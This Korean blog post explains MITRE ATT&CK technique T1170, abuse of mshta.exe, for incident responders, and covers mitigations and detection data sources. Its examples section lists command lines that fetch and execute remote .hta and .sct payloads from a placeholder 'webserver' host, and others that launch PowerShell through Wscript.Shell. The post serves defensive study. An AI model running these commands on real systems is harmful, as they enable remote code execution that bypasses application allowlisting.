[Incident Response] T1170 Mshta
(1) Execution이란?
-
공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력
-
로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성
-
절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용
-
예시
-
LNK 파일 내에 포함된 Powershell 명령 행 실행
-
스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도
-
(2) Mshta란?
-
Mshta.exe는 Microsoft HTML 응용 프로그램(HTA)을 실행하는 유틸리티
-
HTA는 Internet Explorer와 동일한 모델 및 기술을 사용하지만 브라우저 외부에서 실행하는 독립 실행형 응용 프로그램
-
공격자는 mshta.exe를 사용하여 신뢰할 수 있는 Windows 유틸리티를 통해 악성 .hta 파일 및 Javascript 또는 VBScript 실행을 프록시 가능
-
mshta.exe를 활용하는 다양한 위협으로 파일이 인라인 스크립트를 통해 mshta.exe에 의해 실행될 수 있으며 URL에서도 직접 실행이 가능
-
또한 잠재적 사용을 설명하지 않는 이상 응용 프로그램 허용 목록 솔루션을 무시하는 데 사용 가능
-
mshta.exe는 Internet Explorer의 보안 외부에서 실행되므로 브라우저 보안 설정도 무시
-
완화 방법으로는 비활성화/기능 제거, 실행 방지가 있음
-
비활성화/기능 제거는 mshta.exe는 기능 수명이 다한 구 버전 Internet Explorer와 연결 되어 있으므로 지정된 환경 내에서 필요하지 않을 수 있음
-
실행 방지는 mshta.exe의 실행을 차단하도록 구성된 응용 프로그램 화이트리스트를 사용하여 특정 시스템이나 네트워크에 필요하지 않은 경우 적의 오용을 방지
(3) Mshta 내용 정리
3-1. 정상 용도
-
Microsoft HTML Application(HTA) 파일을 실행하는 유틸리티
-
HTA 파일은 Internet Explorer 브라우저와 동일한 모델 / 기술 사용
-
하지만, 브라우저 외부에서 독립적으로 실행 가능
3-2. 악의적 사용
-
악성 HTA 파일을 제작하여 사용자에게 Spearphishing 가능
-
mshta.exe 유틸리티를 이용하여 VBScript 또는 Javascript 실행을 프록시 가능
-
Internet Explorer 브라우저의 보안 컨텍스트 외부에서 실행 (브라우저 보안 설정 무시)
3-3. 매개변수
-
.hta - Microsoft HTML Application File
3-4. 예제
-
mshta.exe T1170.hta
-
mshta http[:]//webserver/payload[.]hta
-
mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
-
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
-
mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")
-
mshta.exe javascript:alert('test');
-
mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run(""#{local_file_path}"")(window.close)")
-
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit- file $PathToAtomicsFolder\T1170\src\powershell.ps1"":close")
(4) Mshta 기법 실습
4-1. Sublime Text3 > Javascript 코드 작성
-
Sublime Text3 실행
-
[그림 6]과 같이 Javascript 코드 작성
4-2-1. CMD(명령 프롬프트) > 코드 실행
-
CMD(명령 프롬프트) 실행
-
작성한 HTA 코드 실행
-
계산기 실행
-
코드에 악성코드나 랜섬웨어 등을 심어놓을 수 있는 위험한 악성행위가 될 수 있음
4-2-2. 메시지 박스 실행 방법
-
[그림 8]과 같은 명령으로 메시지 박스를 실행시키는 방법도 존재
(5) Mshta 추가 내용
-
ID : T1170
-
전술 : Defense Evasion, Execution
-
플랫폼 : Windows
-
필요 권한 : User
-
데이터 소스
-
프로세스 모니터링
-
프로세스 명령 행 매개변수
-
-
방어 우회
-
응용 프로그램 허용 목록
-
디지털 인증서 유효성 검사
-
# Reference
https://attack.mitre.org/techniques/T1170/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1170/T1170.md
'Incident Response > Execution' 카테고리의 다른 글
[Incident Response] T1086 PowerShell (0) | 2020.05.27 |
---|---|
[Incident Response] T1118 InstallUtil (0) | 2020.05.27 |
[Incident Response] T1061 Graphical User Interface (0) | 2020.05.27 |
[Incident Response] T1203 Exploitation for Client Execution (0) | 2020.05.27 |
[Incident Response] T1173 Dynamic Data Exchange (0) | 2020.05.27 |